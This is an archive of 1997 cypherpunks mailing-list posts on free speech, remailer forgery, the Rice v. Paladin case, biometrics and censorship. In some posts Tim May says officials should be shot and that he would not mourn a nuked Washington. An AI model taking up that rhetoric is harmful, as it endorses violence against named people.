>As for the case of May vs. Reno, 99 US 666 (1999) (:-), I've never
>heard Tim call for the violent overthrow of the US government.
>He's called for a far more dangerous method of getting rid of it
>(rendering it obsolete and letting the public catch on at their own speed),
>and he's also expressed the position that if a bunch of
>black-hooded thugs invade his house some night he'll defend himself
>first and not worry about checking their bodies for stinkin' badges
>or designer logos on their backs until the bullets stop flying.
>
>Not guilty.
>
>
>				Thanks!
>					Bill
>
>
>
>Date: Sat, 29 Nov 1997 23:04:58 -0700
>To: Bill Stewart <stewarts@ix.netcom.com>, Declan McCullagh <declan@well.com>,
>        cypherpunks@toad.com
>From: Tim May <tcmay@got.net>
>Subject: Re: Is Tim May guilty of illegally advocating revolution?
>
>At 11:33 PM -0700 11/29/97, Bill Stewart wrote:
>
>>As for the case of May vs. Reno, 99 US 666 (1999) (:-), I've never
>>heard Tim call for the violent overthrow of the US government.
>>He's called for a far more dangerous method of getting rid of it
>>(rendering it obsolete and letting the public catch on at their own speed),
>>and he's also expressed the position that if a bunch of
>>black-hooded thugs invade his house some night he'll defend himself
>>first and not worry about checking their bodies for stinkin' badges
>>or designer logos on their backs until the bullets stop flying.
>>
>>Not guilty.
>
>An almost complete summary of my stance.
>
>But Bill left out the third leg of my tripod, that I expect to wake up some
>morning and learn that some major city, perhaps Washington, D.C. has been
>nuked or bugged.
>
>And, as I am fond of saying, I doubt I'll shed any tears.
>
>(Which got first twisted into "Tim wants to see D.C. nuked) (possibly
>true), and then further mutated into "Tim is involved in a conspiracy to
>help terrorists destroy major cities" (possibly true)).
>
>Fortunately for me, none of these legs of the tripod are (yet) illegal,
>though I gather from what I saw of several of Hettinga's recent foamings
>that he thinks they should be.
>
>--Tim May
>
>
>The Feds have shown their hand: they want a ban on domestic cryptography
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^2,976,221   | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."
>
>
>--------------------------------------------------------------------------
>This list is public. To join fight-censorship-announce, send
>"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
>More information is at http://www.eff.org/~declan/fc/


----------------------------------------------------------------------------
We shot a law in _Reno_, just to watch it die.

Mike Godwin, EFF Staff Counsel, is currently on leave from EFF,
participating as a Research Fellow at the Freedom Forum Media Studies
Center in New York City. He can be contacted at 212-317-6552.
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 2 Dec 1997 03:23:47 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Is Tim May guilty of illegally advocating revolution?
In-Reply-To: <199712011825.TAA22548@basement.replay.com>
Message-ID: <v0310280cb0a8aadbfb97@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:25 AM -0700 12/1/97, Anonymous wrote:

>You've both forgotton the fourth leg of the tripod, the one where Tim May
>calls for the governor of Florida to be shot (along with other officials).
>Governor Chiles' capital crime?  He refused to allow California wine to
>be sold in Florida.  On Fri, 9 May 1997, Tim May wrote:
>
>> Chiles and his co-conspirators should be shot for high crimes against the
>> Constitution. After Clinton, Freeh, Kerrey, and the other traitors.
>
>Everyone likes to overlook this, pretending that May didn't mean it.  Well,
>he never withdrew it, did he?  He never apologized for it.  He's on the
>record as explicitly calling for the murder of high officials.

Withdraw it? Apologize for it?

I am free to call for the execution of anyone I damned well wish. OJ,
McVeigh, the English nanny, Lawton Chiles, and so on. The First Amendment
doesn't contain exceptions for such things.

Sen. Jesse Helms was not prosecuted, nor even sanctioned by the Senate, for
saying that if President Clinton ever visits Georgia he'd better be wearing
a bulletproof vest.

Face it, Anonymous, free speech means just that. Short of directly
threatening the President or his family, or issuing direct (credible,
proximate) threats to judges and perhaps some others, we as Americans are
free to call for OJ to be taken out and have his throat cut, figuratively
speaking, to call for trials for various criminals (including political
criminals), and to speculate as we wish about whether the OKC bombing was a
good thing or not. Get used to it, Anonymous, as it's the law.

(More wimp simp jabbering elided....)

>Again, you will search the archives in vain to find any apology for this,
>any withdrawal.  May hides behind the words of others, as he does above,
>hoping that their softened interpretations will make people forget the
>plain facts about what he wrote.
>
>If Tim May does not agree with the quotes above, let him say so now.

Maybe I don't "withdraw" comments or "apologize" for them because I don't
do either. Ever think of that, Anonymous halfwit?

(Anonymity has certain aspects, good and bad. I notice, though, that an
inordinate number of my critics are using "Anonymous." Probably just one
frustrated do-gooder who can't stand the tenor of the list, but chooses to
remain anonymous out of simpering fear.)

I mean what I say and I say what I mean. Get used to it. Or leave, even better.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 2 Dec 1997 00:34:24 +0800
To: cypherpunks@cyberpass.net
Subject: RICE v PALADIN ENTERPRISES
In-Reply-To: <199711132216.QAA07981@dfw-ix2.ix.netcom.com>
Message-ID: <3.0.2.32.19971201112809.036f79cc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

The RICE v PALADIN ENTERPRISES decision is up (or part of it anyway):

http://caselaw.findlaw.com/data2/circs/4th/962412p.html

This is the conclusion which cuts off at that last comma.


                 U.S. 4th Circuit Court of Appeals

                      RICE v PALADIN ENTERPRISES

Certainly, such a conclusion would be reasonable based upon this promotional 
description coupled with the singular character of Hit Man, which is so 
narrowly focused in its subject matter and presenta- tion as to be 
effectively targeted exclusively to criminals. In other words, despite the 
fact that Paladin may technically offer the book for sale to all comers, we 
are satisfied that a jury could, based upon Hit Man's seemingly exclusive 
purpose to assist murderers in the com- mission of murder, reasonably 
conclude that Paladin essentially dis- tributed Hit Man only to murderers and 
would-be murderers -- that its conduct was not, at least in law, different 
from that of a publisher (or anyone else) who delivered Hit Man to a specific 
person or group of persons whom the publisher knew to be interested in 
murder. And even Paladin effectively concedes that it could be liable were 
such a finding permissibly made. Paladin's Memorandum in Support of Summary 
Judgment at 33 n.24.

A conclusion that Paladin directed Hit Man to a discrete group rather than to 
the public at large would be supported, even if not established, by the 
evidence that Hit Man is not generally available or sold to the public from 
the bookshelves of local bookstores, but, rather, is obtainable as a 
practical matter only by catalogue. Paladin Press is a mail order company, 
and for the most part does not sell books through retail outlets. In order to 
procure a copy of Hit Man,

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Version: PGP for Personal Privacy 5.0
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93gBt0PM7syY9ywTFQ25FKT8+Wak/1zihvx6ymYwNBfH2e9AKROIJ8piJ01s+RFy
Cpu0r8FxET7NSHqaKDVyWGtSEqkZjpHfJL7c+aDBAM4bclCE+6VTt/gWWcZoCGJA
nwT+pHL+Go4=
=3Ch8
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@Qualcomm.com>
Date: Tue, 2 Dec 1997 04:07:43 +0800
To: Vin McLellan <vin@shore.net>
Subject: Re: Big Brother Is Watching ATMs
In-Reply-To: <v03007801b0a877592509@[198.115.179.81]>
Message-ID: <2367.881005036@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:50 EST on Monday, December 1, 1997, Vin McLellan wrote:

|G'day Jonathan,
|
|	Could you please identify this "bank card company" by name, card,
|nation, etc. ?

You *could* read the newspaper...

/pbp
====

Body Parts May Become a Way To Identify ATM Customers

By GORDON FAIRCLOUGH 
Staff Reporter of THE WALL STREET JOURNAL

Thomas J. Drury walks up to the automated-teller machine in his suburban
office and swipes his bank card. Instead of punching in a secret code,
however, he stares straight ahead. The machine verifies his identity by
looking at his eyes.

If Mr. Drury, chief executive officer of Sensar Corp., and his colleagues
have their way, this eye-scanning technology will become standard equipment
on ATMs around the world. It is being tested by NCR Corp. and Citicorp,
among others.

[...]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 2 Dec 1997 02:00:09 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: RICE v PALADIN ENTERPRISES
In-Reply-To: <3.0.2.32.19971201112809.036f79cc@panix.com>
Message-ID: <199712011749.MAA27922@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19971201112809.036f79cc@panix.com>, on 12/01/97 
   at 11:28 AM, Duncan Frissell <frissell@panix.com> said:

>A conclusion that Paladin directed Hit Man to a discrete group rather
>than to  the public at large would be supported, even if not established,
>by the  evidence that Hit Man is not generally available or sold to the
>public from  the bookshelves of local bookstores, but, rather, is
>obtainable as a  practical matter only by catalogue. Paladin Press is a
>mail order company,  and for the most part does not sell books through
>retail outlets. In order to  procure a copy of Hit Man,

The logic in this conclusion is all wrong.

The reason Hit Man, and other such "undrground" text, are not available on
the local book stores is because the major publishing houses will not
print them! Paladin Press is a mail order company because major retailers
will not shelf the books that they print. I can hardly see Paladin turning
down a 100,000 copy order from Barns & Nobel or Books-A-Million or any of
the other major chains. I am quite sure that if one looks at the records
of Paladin one will see that they sold their books to whomever wished to
purchase them (after all thet is the business they are in).

I can see it now the 1st Amendment only applies if you can sell a million
copies of your words.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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=uGPm
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 2 Dec 1997 06:53:34 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Re: Pasting in From:
In-Reply-To: <v03102802b0a801cade82@[206.170.115.5]>
Message-ID: <3.0.3.32.19971201120355.006d2f34@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>On Sun, 30 Nov 1997, Lance Cottrell wrote:
>> [Spam baiting, forged mailing list subscriptions]
These are easy enough; the address-munging gets rid of these and
also things like forgings to alt.test and other bots,
though eventually the spammers may catch on to "User <AT> Foo <DOT> com" etc.

The hard problem is
>> Forged postings with deplorable content will bring down retribution 
>> on the forgery victim. 

I shut down my remailer a few years ago because of this one;
the forger posted hate mail to the gay newsgroups with the victim's name
at the bottom (didn't even use From: pasting, just message body.)
Supporting From: pasting just encourages this.

It's possible to cancel the one forged usenet message,
but that didn't stop the flames many people emailed to her,
and fewer systems are accepting cancels these days,
especially when forged by remailers...

Besides Usenet, other popular tactics for retribution are
sending death threats to politicians, sending child pornography
to mailing lists, forging messages _from_ politicians, etc.
Disclaimer/warning headers help, but can't stop it all.

At 10:07 AM 12/01/1997 -0500, Andy Dustman wrote:
>Two basic points also about "forgeries". First, you can forge headers
>pretty easily without any programs other than telnet. Second, if this

This was before Gary Burnore's attacks on the remailer networks,
but it's also an obvious tactic for either flamers or Feds to use
for getting remailers shut down.  If somebody forges a Usenet posting
with telnet, it's not _your_ problem (usually).  If they use your remailer,
it is your problem.  And if they get remailers closed down a lot,
it's all of our problems.

>2) Whenever a From: line is pasted, a disclaimer will be inserted at the
>top of the body, stating that the original sender has set the From: line,
>and that the identification cannot be verified. The fact that it is up at
>the top of the body should mean people should actually see it before
>reacting.

It's worth also repeating it at the bottom.  Putting it in the headers
is invisible with most newsreaders, though.

By the way, one technical risk with From:-pasting is that you need to
parse or substitute special characters including parens and anglebrackets.
Otherwise it's easy for people to paste in syntactically incorrect headers,
which really annoy some gateways and mail clients - nested parens are
a particular problem.

Basically, I think you're getting yourself in for excitement
and adventure and really wild stuff by supporting this :-)


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				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 1 Dec 1997 22:53:41 +0800
To: gbroiles@netbox.com
Subject: Re: Kashpureff stuff online
In-Reply-To: <3.0.2.32.19971201000503.0069ca58@pop.sirius.com>
Message-ID: <199712011205.MAA00816@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Greg Broiles <gbroiles@netbox.com> writes:
> CBC has put together a short (7 mins or so) news piece on the
> Kashpureff/Alternic situation - it's available via RealVideo (which seems
> to run reasonably over my 28.8 modem at home) at
> <http://www.tv.cbc.ca/undercurrents/tv/week09/fugitive.ram>.

So what did Kashpureff do?  Who is Kashpureff?  Is he the guy at
Alternic who did some advanced DNS hacking to get Internic DNS root to
point to him?  Or something else?

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Spam Man <sm@dev.null>
Date: Tue, 2 Dec 1997 02:29:20 +0800
To: cypherpunks@toad.com
Subject: Spammernomicon
Message-ID: <3482FD71.3557@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Selected passages from Spam-Bot: A Technical Manual for Independent
Spammers. 

It is my opinion that the professional spammer fills a need in society
and is, at times, the only alternative for "personal" anonymity.
Moreover, if my advice and the proven methods in this book are followed,
certainly no one will ever discover your identity. 

 Almost every man harbors a fantasy of living the life of Dimitri Vulis
or some other fictional hero who spams for fun and profit. They dream of
living by their knee-jerk reflexes, of doing whatever is necessary
without regard to moral or legal restrictions. But few have the courage
or knowledge to make that dream a reality. 

You might be like my friends -- interested but unsure, standing on the
sidelines afraid to play the game because you don't know the rules.
[But] within the pages of this book you will learn one of the most
successful methods of remailer operation used by an independent spam-bot
operator. You will follow the procedures of a man who works alone,
without backing of organized crime or on a personal vendetta. Step by
step you will be taken from research to equipment selection to job
preparation to successful job completion. You will learn where to find
employment, how much to charge, and what you can, and cannot, do with
the money you earn. 

But deny your urge to skip about, looking for the "good" parts. Start
where any amateur who is serious about turning professional will start
-- at the beginning. 

 [And when] [y]ou've read all the suggested material, you [will have]
honed your mind, body and reflexes into a precision piece of  spamming
machinery. You [will have] assembled the necessary tools and learned to
use them efficiently. Your knowledge of dealing spam [will have]
increased to the point where you have a choice of methods. 

[After you spammed your first victim,] you felt absolutely nothing. And
you are shocked by the nothingness. You had expected this moment to be a
spectacular point in your life. You had wondered if you would feel
compassion for the victim, immediate guilt, or even experience direct
intervention by the hand of God. But you weren't even feeling sickened
by the sight of the victim's pathetic reply. 

After you have arrived home the events that took place take on a
dreamlike quality. You don't dwell on them. You don't worry. You don't
have nightmares. You don't fear ghosts. When thoughts of the hit go
through your mind, it's almost as though you are recalling some show you
saw on television. 

 [E]verything seems to have changed. 

The people around you have suddenly become so aggravatingly ordinary.
You start to view them as an irritating herd of pathetic sheep, doing as
they are told, doing what is expected, following someone, anyone,
blindly. You can't believe how dumb your friends have become, and your
respect diminishes for people you once held in awe. 

You too have become different. You recognize that you made some
mistakes, but you know what they were, and they will never plague you
again. Next time (and you know there will be a next time), there will be
no hesitation, no fear. 

Your experience in facing anti-spammers head-on has taught you about
life. You have the power and ability to stand alone. You no longer need
a reason to spam.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 2 Dec 1997 02:34:20 +0800
To: freedom-knights@jetcafe.org
Subject: Stanford student "blacklisted" from jobs because of his Internet writings
Message-ID: <cDN2ge1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain




Here's a good argument for anonymity:

New York Observer: November 24, 1997

Salomon Brothers Tattler Gets Famous on the Web

by Tinker Spitz

Tim Shields, a student at the Stanford Graduate School of Business, spent
the summer working as an investment banking summer associate for Salomon
Brothers. He didn't like it much. When he got back to Stanford, he wrote two
articles about his experiences and published them in The Reporter, a
business school publication.

No harm done, right? Wrong. Now, through the magic of the Internet, all of
Wall Street is aware of Mr. Shields' complaints.

Overworked bankers, chained to their desks, often turn to their computers
for entertainment to break up the tedium of creating shareholder profiles
and whatever other dreary analyses their clients might demand of them.
Lately, Mr. Shields' bitter article, making the rounds by e-mail, has been
that entertainment.

Mr. Shields was merciless in his depiction of Salomon Brothers and the
people he encountered from other business schools. Here is a line that
nicely sums up his impression of his summer: "The 38 members of my
Investment Banking Summer Associate class represented a wide range of
personality types, from the merely obnoxious to the moderately narcissistic
to the overwhelmingly repugnant."

He also makes Salomon Brothers chief executive Deryck Maughan look like
either a hypocrite or a fool. In a meeting on Aug. 18 with the investment
banking unit, Mr. Shields reports, Mr. Maughan said, "We have absolutely no
reason to believe that we are a buyout target, nor that we will be in the
near future." Only weeks later, Salomon Brothers was acquired by the
Travelers Group Inc.

Mr. Shields also remarked on the general climate at Salomon: He writes that
a managing director at the firm told him, "Salomon Brothers is just not a
culture where anyone says 'please' or 'thank you' or 'good job.'"

And, according to the much e-mailed articles, one Salomon vice president
told Mr. Shields, "You don't want this job. You really don't want this job.
You get sucked in by the money and then find yourself trapped and miserable
like I am. Don't be me."

Salomon Brothers had no comment on the matter.

The writer was at his most cutting in his assessment of his fellow summer
associates, classifying them by school. Those from University of
Pennsylvania's Wharton School were, in Mr. Shields' estimation, "boorish and
dull, and interacting with them was like being locked in a room with a
Bloomberg machine, except that the Bloomberg screen has two dimensions."

Mr. Shields writes that he amused himself by needling the Columbia Business
School students with his own feeling of Stanford superiority: "If I was in a
truly nasty mood, I would follow up with a discussion hypothesizing on the
quality-of-life differences between Palo Alto and Harlem. As you might
guess, I wasn't too popular among the Columbia crowd."

His take on those from Northwestern University's J.L. Kellogg Graduate
School of Management? "Not the sharpest Ginsu knives in the set, they were
as out of place on Wall Street as you might expect from people who'd spent
the prior year intensely debating the merits of Dave Thomas appearing in
person in the Wendy's commercials."

About those from the Massachusetts Institute of Technology's Sloan School of
Management, Mr. Shields writes, "I think I found Waldo. Every stereotype you
ever heard about M.I.T. is true. These guys were such incredible weenies,
brilliantly managing to combine both the brainpower and social grace of an
HP 19B-II."

And the Harvard Business School types? "Floating through the summer like
Cinderella at the ball, they expected you to accept their jargon-laced
drivel with the same attitude that Moses and his stone tablets received on
Sinai."

Mr. Shields' articles first drew the attention of Wall Street when they
appeared in the on-line version of The Reporter. Someone an incensed
first-year Salomon Brothers associate, according to a source downloaded
them and attached the following message: "A Stanford student who did not
receive an offer from Salomon Brothers was bold enough to put his name in
print with these two articles. Maybe he doesn't want a job at all ..."

Then the associate started e-mailing like crazy, sending the piece to job
recruiters, among others, the source said. Mr. Shields' fame on the Web
could not have come at a worse time. Now in the middle of on-campus job
interviews, trying to parlay his $80,000 M.B.A. degree into a full-time job,
Mr. Shields' only hope is that someone who may well have attended one of the
schools he slagged is willing to hire a guy who went gleefully public with a
nasty description of life with a previous employer.

According to a friend of Mr. Shields, the e-mail has indeed come up in his
first four interviews. "They seemed as though they were giving him a chance
to explain himself," said the friend, "but when I talked to him, he hadn't
heard yet whether he had gotten a call back which would be the ultimate
test of whether they were willing to overlook it."

Stanford is most certainly not standing behind its student. "That was a real
silly thing for him to do, and not in any way appropriate," said George
Parker, director of Stanford's M.B.A. program. "It's just arrogant."

Other business students are aghast. "No one could believe that he would
write this and not realize what the ramifications or consequences might be,"
said one. Mr. Shields would not comment for this article. People who know
him said he's a nice guy despite his sharp edges. One friend, Giles
Kavanagh, a Web site producer in New York, described Mr. Shields as "very
ambitious" and "extraordinarily hard-working," adding, "He disguises his
ambition."

The son of a New York City police detective, Mr. Shields, now in his
mid-20's, attended Regis High School (a Jesuit school on the Upper West
Side) and received his undergraduate degree from the Wharton School of the
University of Pennsylvania. Before going for his M.B.A. at Stanford in 1996,
he spent three years in the financial division at J.P. Morgan & Company.

"He's always had an interest in making money," Mr. Kavanagh said. But that
may be more difficult now, since the e-mail has apparently fallen into the
hands of recruiters. One anonymous friend said that, while Mr. Shields has
decided that "investment banking wasn't really for him ... he still didn't
mean to get himself blacklisted across Wall Street." The friend added that
Mr. Shields is trying to get a job in either private client services, a
field related to investment banking, or consulting.

Given his bitterness, his ambition, his ability to turn a phrase, his lack
of respect for authority and his willingness to squawk about people he has
met, perhaps Mr. Shields should consider a career in the glorious field of
journalism.
=============================================================================

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks@toad.com
Date: Tue, 2 Dec 1997 02:07:05 +0800
To: mail2news@basement.replay.com
Subject: Re: Another Anti-Privacy Bigot Heard From (was: The Guilmette/Burnore deba
In-Reply-To: <65sbi0$enj$1@owl.slip.net>
Message-ID: <2964c77a90e63d9384fa24a50eb9c955@anonymous.poster>
MIME-Version: 1.0
Content-Type: text/plain



Joe "We are Borg" Foster <joe@bftsi0.UUCP> wrote:

> > That was an impressive tantrum that you and Belinda just staged.  I
> > suppose you thought it would distract attention from the fact that
> > you still refuse to reveal what your motive was for harassing Jeff
> > Burchell this summer in a failed attempt to get him to turn over the
> > logs containing the names and e-mail addresses of everyone who
> > either sent or received an anonymous message through his remailer.
> 
> Et tu, dumbass? Have you forgotten the existence of the "old" Deja News
> database?

That won't work for two reasons:  First, Gary is now "cloaking" his
posts with an "X-No-Archive" header to keep them from being archived
by neutral parties such as DejaNews.  In addition, if you do a
search on his name as author in the old database, you get a bunch of
matches that say "article not available", indicating that he's
requested that such articles be removed from the archives.  Second,
how does one search for something that was never posted?  The only
thing I see in the Deja News archives is Jeff Burchell's explanation
of Burnore's $cientology-esque attack on his remailer:

-> Subject:    Re: DataBasix vs. the Remailers -- Gary Burnore's 
->             Dirty Tricks Exposed (was: Jeff's Side of the Story.)
-> From:       toxic@hotwired.com (Jeff Burchell)
-> Date:       1997/07/02
-> Message-ID: <5pc9mb$omg$1@re.hotwired.com>
-> 
-> [...]
-> 
-> : > Mr. Burnore requested a copy of my (non-existant) logs.
-> : > I told him to get me something in writing, signed by his lawyer that
-> : > stipulated that the logs were confidential, and not to be revealed to
-> : > anyone outside of the lawyer's office.
-> :
-> : He requested the logs of the messages of *EVERYONE* using Huge
-> : Cajones?  What was his rationale for such a fishing expedition?
-> : (Cases like this are a good reason for remailers to NOT keep logs.)
-> 
-> I have no idea of his rationale.  And I don't know of any remailer
-> operator who keeps logs that would identify a user.  I had my machine
-> configured to log in a fairly standard way, but I used a different
-> sendmail configuration for the remailer, that had all logging (except
-> for certain error conditions) turned off.
-> 
-> Part of me thinks he wanted the logs so he could tell if I was going
-> to be able to identify him when he started his attacks.

Thus far, that's the best explanation I've seen for Gary Burnore's
threats and harassment.

> > If posts from "anon assholes" really offend your sensitive feelings,
> > then you might want to stay away from most of the NGs where you've
> > been posting your blather.  SUGGESTION: stick with "safe" groups
> > like comp.org.cauce where anonymous posts are banned and content is
> > censo^h^h^h^h^hmoderated to ensure an appropriate level of political
> > correctness.
> 
> Posts from assholes definitely offend me, whether they're anon or not!

True, but the chance that somone might be offensive is not
sufficient reason to censor it.  (If that were true, Usenet
references to Whitewater might be declared "pornographic" by the
Clinton administration.)  Gary Burnore keeps whining about posts
from "ANON assholes" not just "assholes" in general.  That
definitely reveals something about him.  If he were to gripe about
posts from "black assholes", one might (rightly) conclude that he
was a racist.  If he were flaming posts from "gay assholes", you'd
probably figure that he was a homophobe, right?  The fact that he
doesn't flame the CONTENT but some characteristic about the author
marks him as a bigot.

> Well, if you really think about it, just about any news post might be
> "anonymous". After all, how do you know that whoever typed all this is
> really named "Joe Foster"? You don't! Remember "Mahmud al-Hijazi"?

You've got a point there.  <g> I don't place much faith in what I
see in the From:  line, even if it appears to be a valid e-mail
address.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 2 Dec 1997 07:02:07 +0800
To: "Robert A. Costner" <remailer-operators@anon.lcs.mit.edu
Subject: Re: Pasting in From:
In-Reply-To: <35071a4de8a2c6f6cf77914c7747760d@anonymous.poster>
Message-ID: <3.0.3.32.19971201123444.006d2f34@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:14 AM 12/01/1997 -0500, Robert A. Costner wrote:
>Best I can tell, the only reasonable good purpose for this is to create a
>persistent nym identity without a reply to capability.  

Actually, setting the reply to point to your nymserver address
is the one legitimate use I can see for it, though that
capability probably should be provided by the nymserver.
The reason for chaining through remailers is to gain anonymity.

>I would think the best way to put in a persistent nym capability would be
>to database the PGP key id's along with the persistent identity.  

But you don't need a special anonymity server to do that;
a keyserver plus either a personna certificate or some archiving mechanism is enough.
The certificate shows that you're the first+only person at that
certificate issuer to use the name you've chosen; the archive
shows that the first poster using the name <nym> used PGP Key <key>.
I have a PGP key I use for signing pseudonyms which performs
the personna certificate function - I'll verify uniqueness
of keys that I've signed.  

> This also keeps someone from stealing another's reputation capital.
The PGP signature key is enough to do that, and without the 
digital signature there's no way to prevent forgery.
(I've got mixed feelings about whether to sign a key for a 
name who has a known history without having the key attached.  
I've signed Black Unicorn's, but the other nyms I've signed have been 
for users who announced their key along with their initial use of the nym.)

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 2 Dec 1997 06:50:05 +0800
To: Amad3us <remailer-operators@anon.lcs.mit.edu
Subject: Re: Pasting in From:
In-Reply-To: <199712011450.PAA27128@basement.replay.com>
Message-ID: <3.0.3.32.19971201125046.006d2f34@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:50 PM 12/01/1997 +0100, Amad3us <cypherpunks@cyberpass.net> wrote:
>Then it has to allow you to put headers back in otherwise you can't
>interoperate with software.  Eg pasting in References:, Subject: 

Pasting those in isn't controversial, and is generally supported;
you could be using Subject: pasting today with most remailers,
using the ## syntax.

>(I would like to see Cc: and Bcc: being allowed to be pasted in also).
At minimum, addresses in Cc: and Bcc: need to be checked against
blocking lists, and it's probably worth checking the number of
names in the list against some threshold - especialy Bcc:s,
which tend to be popularly used by spamware.

>I would also like to see From: pasted in.  In fact I can see no
>purpose to restrict what can be pasted in, other than to reduce
>complaints to the remailer operator possibly.
Too easy to be abused by forgers, as are Reply-To: and Sender:.

>My software shows be all headers.  I am not sure what other software
>would do, probably, only display the first From field (the remailers).

MSMail and other closed systems are generally quite arrogant
about only showing you the mail headers they "know" you want to see,
and discarding the rest, whether that's what you want or not.
Lots of mail clients only show you one From:, either discarding 
others or making them available in a "Show all headers" mode.

>However you'll notice that my address is:
>	Amad3us <cypherpunks@cyberpass.net>
>which means that I would like it to be pasted in as it is replyable
>(for encrypted mail) even though not being a nymserver account.

Which is a bit annoying, by the way, for cypherpunks who don't
want to read your mail :-)  On the other hand, alt.anonymous.messages
is a fine place for people to send replies, and you can do things like
	alt.anonymous.messages@mail2news.some-relay-server.com
At one time, there was a message-pool service on the extropia remailer
which forwarded anything retrieved to all its subscribers;
if the list is small it's not much protection, but it's one way
to obscure mail sent to middleman remailers.

There are other remailer-like systems that provide mailboxes
for anonymous retrieval; I think Jenaer does something like that.
And then of course there are hotmail and juno :-)


				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 2 Dec 1997 05:52:12 +0800
To: cypherpunks@toad.com
Subject: Solveig Singleton on "Brave New Partners in Net censorship"
Message-ID: <Pine.GSO.3.95.971201132441.29563C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain






---------- Forwarded message ----------
Date: Mon, 01 Dec 1997 16:26:03 -0500
From: Solveig Singleton <solveig@cato.org>
To: declan@well.com

Op-ed: Brave New Partners In Internet Censorship

by Solveig Singleton (solveig@cato.org)

Solveig Singleton is the director of information studies at the Cato
Institute. 


	A few short months ago, the Supreme Court declared that the First
Amendment protects the Internet just as it protects booksellers,
newspapers and books when it found the Communications Decency Act (CDA)
unconstitutional.  That critical ruling signaled censorious governments in
countries like Argentina, China, Germany and Zambia that the United States
would not provide a precedent for blocking undesirable Internet content. 

	Yet now the computer industry flirts with technologies of
"self-censorship"  at a December Internet summit under the guiding hand of
the Clinton administration. The summit, called Focus on Children, poses
subtle new dangers to free speech on the Internet.

	The First Amendment keeps the government out of the business of
controlling media content.  Private citizens are free to follow their
consciences in choosing their own reading material and guiding their
children to seek out or avoid certain information.  There's no First
Amendment objection when a newspaper editor refuses to print an article or
when parents take books away from their children, or use a "censorware"
program like SurfWatch in their own homes.  The private sector is allowed
to edit, to exclude and to silence speech).  The public sector is not. 

	But the summit's organizers call for "partnership" between
industry and government in keeping "inappropriate" material from children. 
President Clinton is expected to attend.  The summit emerged from a July
